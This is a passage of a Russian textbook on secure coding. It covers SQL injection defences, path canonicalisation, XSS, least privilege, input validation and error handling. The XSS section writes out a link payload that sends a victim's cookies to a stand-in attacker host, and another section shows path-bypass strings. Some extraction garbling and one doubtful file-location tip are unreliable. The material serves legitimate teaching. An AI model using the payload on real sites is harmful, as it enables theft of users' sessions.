Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Основы защиты информации. Учебное пособие

.pdf
Скачиваний:
0
Добавлен:
12.08.2026
Размер:
1 Мб
Скачать

Теперь рассмотрим средства, которые обеспечивают гарантированную защиту.

Средство № 1: построение параметризованных SQL-выражений

Самый простой способ избежать проблем – переложить построение SQL-выражений на базу данных и не пытаться конструировать их самостоятельно в коде приложения. Для этого при написании запроса нужно определить, какие части SQL-выражения должны быть параметрами. Параметризованная версия SQL-запроса может выглядеть так:

select count (*) from client where name = = ? and password = ?

Для выполнения такого запроса нужно присвоить конкретные значения параметрам, которыепередаютсявбазу данных вместе с запросом.

Помимо безопасной передачи параметров преимущество параметризованных запросов в том, что они выполняются быстрее, чем запросы, созданные в коде приложения динамически.

Еще одно преимущество параметров – возможность указать для них тип данных. Например, если определить тип параметра как числовой, то строгий контроль типов пресечет на корню множество SQLатак, поскольку они невозможны с использованием одних только чисел, нужен еще и текст.

Средство № 2: создание безопасных хранимых процедур

Всегда, когда возможно, для обращения к базе данных следует использовать параметризованные хранимые процедуры вместо динамически генерируемого кода SQL. Вызвать хранимую процедуру так же просто, как выполнить запрос, но хранимые процедуры гораздо сложнее использовать для SQL-инъекций. Тем не менее при создании хранимой процедуры следует позаботиться о проверке передаваемых ей данных.

С точки зрения безопасности использование хранимых процедур дает следующие преимущества:

1) возможность ограничения пользовательских привилегий так, чтобы пользователи могли запускать только хранимые процедуры. При этом нет необходимости предоставлять пользователям доступ непосредственно к таблицам;

31

2)возможность дополнительной проверки данных в самой хранимой процедуре;

3)использование параметров при вызове хранимой процедуры снижает риск успешного проведения атаки со вставкой SQL-кода;

4)в случае компрометации кода приложения с помощью хранимых процедур можно скрыть от хакера часть логики приложения и структуру базы данных.

2.3.3. ОШИБКИ КАНОНИЗАЦИИ

Канонизация – процесс упрощения пути к файлу до наиболее простой, абсолютной формы. Ошибка канонизации – уязвимость, возникающая, когда приложение анализирует имя файла прежде, чем операционная система канонизирует его.

Любой файл можно идентифицировать при помощи нескольких имен, например: c:\boot.ini, c:\dir\..\boot.ini или c:/boot%2eini.

Рассмотрим пример. Пусть имеется некоторая программа, позволяющая просматривать содержимое файла. Пусть, например, нужно запретить пользователю просматривать файл c:\boot.ini. Для этого в программу можно добавить следующее условие:

if (filename == @"c:\boot.ini")

throw new Exception ("No. This is system file.");

Условие сработает, если злоумышленник выберет этот файл средствами графического интерфейса или введет "c:\boot.ini". Но так как это условие слишком конкретное, то злоумышленник сможет его обойти, задав в качестве пути к файлу одну из следующих строк (отличие в первой строке – заглавный символ 'C'):

C:\boot.ini c:\windows\..\b

oot.ini

Решить эту проблему можно следующими способами:

1) использовать регулярное выражение для поиска текста boot.ini во введенном имени файла. Но этот способ ненадежен, поскольку злоумышленник может найти другой способ указать файл.

32

Например, в Web-приложении он может воспользоваться именем c:\boot%2eini. К тому же возможен побочный эффект, когда программа запретит просматривать другой файл с именем boot.ini, расположенный в другом месте файловой системы;

2) канонизировать имя файла и только после этого выполнять проверку. Это более безопасный способ. Например, в .NET для этого су-

ществует метод System.IO.Path.GetFullPath(), возвращаю-

щий абсолютный, канонизированный путь к файлу.

Рекомендации для решения проблем, возникающих при приведении к каноническому виду:

1)не принимать решений, касающихся безопасности, на основании полученных имен файлов или ресурсов;

2)использовать регулярные выражения как дополнительный метод контроля имени файла;

3)отключить в системе генерацию имен файлов в формате «8.3»

(если это не сделать, то к файлу с именем MySecretFile.doc можно будет обратиться по имени MYSECR~1.DOC);

4) не полагаться на переменную PATH, а указывать полное имя файла.

2.3.4. МЕЖСАЙТОВОЕ КОДИРОВАНИЕ

Другие названия – межсайтовый скриптинг, XSS или CSS (cross site scripting). Для термина используют сокращение XSS, чтобы не было путаницы с каскадными таблицами стилей, для обозначения которых используется сокращение CSS. XSS возникает тогда, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты.

Приведем пример кросс-сайтового сценария. Пусть некоторый элемент страницы некоторого сайта формируется следующей серверной программой:

Hello,   <% Response.Write (Request.querystring ("name")) %>

Этот код выведет в браузере всё, что передано через строку запроса в поле name. Например, если был передан запрос

www.goodsite.com/req.asp?name=Blake,

33

то выведется Hello, Blake. Пусть страница сайта сделана так, что любой пользователь может видеть, что ранее ввели другие пользователи. Это типичный подход для любого форума.

Тогда злоумышленник посылает следующий запрос на сервер: www.goodsite.com/req.asp?name= <a%20href="javascript:x=document.cookie;alert(x);">Выиг рай%201000%20руб.</a>

В результате на сайте появляется видимая для всех посетителей гиперссылка с текстом «Выиграй 1000 руб.», при нажатии на которую пользователь увидит свои cookie. Но, скорее всего, хакер не станет показывать их пользователю, а немного более сложным кодом отправит на свой сайт. Например, так:

www.goodsite.com/req.asp?name=

<a%20href="javascript:location='http://www.badsite.ru/ name='+document.cookie;">Выиграй!</a>

В этом случае щелкнувший по гиперссылке пользователь перенаправится на плохой сайт, который считает cookie, переданные ему через параметр запроса name. Таким образом, несмотря на то что cookie привязываются к домену, отправившему пользователю страницу (в нашем случае этим доменом является www.goodsite.com), эти cookie станут доступны хакерскому сайту www.badsite.com. Естественно, есть много других способов сделать то же самое.

Итак, для того чтобы отправить нужную информацию на свой сайт, хакеру даже не потребовалось использовать тэг <script> для написания сценария.

Поскольку в динамическом HTML существуют такие события, как onload и onactivate, для отправки пользовательских cookie нажатие пользователем сформированной хакером ссылки вовсе необязательно – достаточно просто загрузить страницу сайта www.goodsite.com, на которой отображается введенноехакером значение.

Рекомендации по предотвращению XSS:

1) кодирование выходных данных превращает потенциально опасные символы во внутреннее безопасное представление (например, символ '<' преобразуется в '<');

34

2)обрамление всех свойств тэга двойными кавычками позволяет не допустить вставки такого значения в качестве параметра тэга, которое завершит данный тэг и начнет последовательность вредоносных тэгов;

3)вставка данных в свойство innerText обрабатывает любую

информацию как текст. Даже если вставить сценарий, то он не запустится на исполнение, а интерпретируется как обычный текст.

Рекомендации по выявлению XSS в Web-приложении:

1)выписать все точки входа в Web-приложение. К ним относятся поля в формах, строки запроса страниц, HTTP-заголовки, cookie-фай- лы, информация из баз данных;

2)проследить путь каждой порции данных через приложение;

3)выяснить, не попадают ли входные данные в неизменном виде на вывод;

4)если попадают, то проверить осуществляется ли перед этим их проверка на безопасность.

2.3.5. МИНИМИЗАЦИЯ ПРИВИЛЕГИЙ

Принцип минимизации привилегий означает, что задачи следует исполнять с минимально возможным набором привилегий. Этот принцип предполагает также сокращение времени работы с повышенными полномочиями до минимально возможного, поскольку это уменьшает интервал времени, когда злоумышленник может воспользоваться недостатками системы.

Приложения, спроектированные с учетом принципа наименьших привилегий, не должны требовать для работы прав администратора. Приложение следует проектировать так, чтобы оно работало, используя привилегии стандартного пользователя. Если приложению требуется некая привилегия, недоступная стандартному пользователю, то разработчик должен позаботиться о том, чтобы проинформировать устанавливающего программу администратора о необходимости дать пользователю определенную привилегию.

Проблемой, связанной с выполнением запросов к базе данных, является использование учетной записи администратора для подключения к базе данных, а также слабый пароль у этой записи. Здесь основная опасность заключается в том, что такая запись обладает максимальными полномочиями и способна причинить непоправимый ущерб.

35

Решение проблемы – никаких подключений к СУБД под учетной записью администратора.

Использование учетной записи администратора для подключения к базе данных – это вопиющее нарушение принципов наименьших привилегий и защиты на каждом этапе.

Если подключение создано от имени системного администратора и SQL-код содержит ошибки, например, позволяющие проводить атаки с внедрением SQL, хакеру становятся доступны все операции, разрешенные системному администратору, в том числе:

удаление любой базы данных или отдельной таблицы;

модификация или удаление любых данных из любых таблиц;

модификация любых хранимых процедур, триггеров или правил;

удаление журналов;

добавление новых пользователей базы данных;

вызов любых административных или расширенных хранимых процедур.

Возможности для нанесения ущерба действительно безграничны.

Например, в MS SQL Server есть хранимая процедура xp_cmdshell, позволяющая хакеру запускать на исполнение команды операционной системы.

Для безопасного подключения к базе данных следует создавать специальную учетную запись в базе данных, имеющую лишь те привилегии на чтение, запись и обновление соответствующих данных, которые необходимы для работы приложения. Можно также использовать встроенный в операционную систему механизм аутентификации и авторизации.

Чтобы использовать принцип наименьших привилегий, следует выполнять два правила:

1)не нужно запрашивать большего уровня доступа к ресурсам, чем необходимо (если нужно прочитать файл, следует запрашивать только доступ на чтение; если нужно считать параметр реестра, не нужно запрашивать доступ на его обновление);

2)нужно создавать файлы и разделы реестра там, где стандартные пользователи могут их изменять (например, разделы и параметры ре-

естра следует создавать в разделе HKEY_CURRENT_USER, а не в раз-

36

деле HKEY_LOCAL_MACHINE; файлы следует создавать в папке My Documents текущего пользователя или в C:\Program Files, а не в C:\Windows).

2.3.6. ОСМЫСЛЕННЫЕ ИМЕНА ФУНКЦИЙ

При разработке сложных проектов задачи обычно разделяют на отдельные, минимально связанные между собой части, которым дают легко запоминающиеся и самоописывающиеся имена (например, CreateFile для функции создания файла). Это делается из соображений удобочитаемости исходного кода.

Проблема состоит в том, что обычно компилятор сохраняет внутри создаваемых при компиляции исполняемых файлов строки с именами функций. Поэтому не составляет труда определить, что по конкретному адресу начинается код функции с таким-то именем. Это не является проблемой для функций, выполняющих действия, не связанные с защитой программы. Но если функция называется CheckLicense или btnRegisterClick, то противнику имеет смысл в первую очередь исследовать именно такую функцию, так как с большой вероятностью в ней выполняются важные действия, относящиеся к работе защиты. Поэтому стоит избегать попадания осмысленных имен функций, относящихся к защитным механизмам, в исполняемые файлы и библиотеки. Чтобы не нарушать удобочитаемости исходного кода, истинные имена функций можно скрыть следующим образом:

#define CheckLicense fn23 void CheckLicense (char *Lic)

{

// Текст функции

}

При компиляции такого кода препроцессор вместо CheckLicense везде подставит fn23, а значит, имя, которое могло

37

бы дать какую-то информацию противнику о предназначении функции, не будет содержаться в тексте исполняемого файла.

2.3.7. ПРОВЕРКА ВХОДНЫХ ДАННЫХ

Большинство взломов защиты происходит из-за того, что приложение неправильно проверяет или вообще не проверяет вводимые данные.

Правило № 1: все входные данные зловредны, пока не доказано обратное.

Правило № 2: проверку корректности данных следует выполнять при каждом пересечении ими границы между ненадежной и доверенной средой.

Чтобы при анализе проекта и кода обнаружить уязвимые места, достаточно задаться двумя простыми вопросами.

Можно ли доверять данным в этой точке программы?

Что известно о корректности данных?

Существует понятие границы доверенной зоны, которое можно проиллюстрировать следующей схемой (рис. 3).

Рис. 3. Граница доверенной зоны и контрольно-пропускные пункты

38

Обратите внимание, что между сервисом и его хранилищем данных нет контрольно-пропускного пункта, так как они находятся внутри доверенной зоны, куда данные попадают только после тщательной проверки на одном из контрольно-пропускных пунктов.

Правило № 3: при проверке входных данных следует пропускать только корректные данные, а всё остальное – отбрасывать, т. е. во входящих данных нужно искать то, что разрешено, а не то, что запрещено. Вопрос: как проверять входные данные на корректность?

Для простой проверки данных вполне может подойти простое сравнение строк. Например:

if (str1 == str2)

...

Но обычно требуется более сложная проверка. Ее можно реализовывать самостоятельно, вручную, но это займет много времени и не обеспечит удобства использования в случае, если в будущем хотя бы незначительно изменится формат проверяемых данных. Поэтому обычно для проверки входных данных лучше использовать регулярные выражения. Механизмы для проверки регулярных выражений существуют практически во всех языках программирования.

Регулярное выражение – набор символов, который можно сравнить со строкой, чтобы проверить, удовлетворяет ли формат этой строки определенным требованиям.

Приведем пример использования регулярного выражения для проверки входных данных (на языке C#):

if (Regex.IsMatch (str, @"^\d{5}$")) good

else

bad

Например, строка "12345" соответствует указанному регулярному выражению, а строка "1234" – нет.

В действительности обычно используются более сложные регулярные выражения.

39

2.3.8. СООБЩЕНИЯ ОБ ОШИБКАХ

Не следует показывать подробные сообщения об ошибках обычным пользователям, поскольку любые подробности о внутренней работе приложения могут использоваться для выявления уязвимостей.

В то же время непонятные сообщения об ошибках не помогут программисту выявить и устранить причину ошибок. Поэтому разработчики и администраторы должны иметь возможность просматривать подробные отчеты об ошибках.

Одним из вариантов решения этой проблемы является сохранение подробных сообщений об ошибках в системном журнале событий или другом аналогичном месте. Например, используя учетную запись администратора, в реестре операционной системы Windows можно создать раздел

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/ eventlog/Application/My Application

Тогда с помощью следующего кода на языке C# можно помещать сообщение об ошибке в журнал событий:

using namespace System.Diagnostics;

. . .

EventLogEntryType type = EventLogEntryType.Error; EventLog myLog = new EventLog ("Application"); myLog.Source = "My Application";

myLog.WriteEntry ("Exception: " + Message, type,

eventID, category);

Когда происходит необрабатываемое исключение, следует закрывать все открытые подключения к каким-нибудь ресурсам (базы данных, сокеты, и т. п.). Это позволит снизить вероятность успешного проведения атак типа «отказ в обслуживании».

40

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]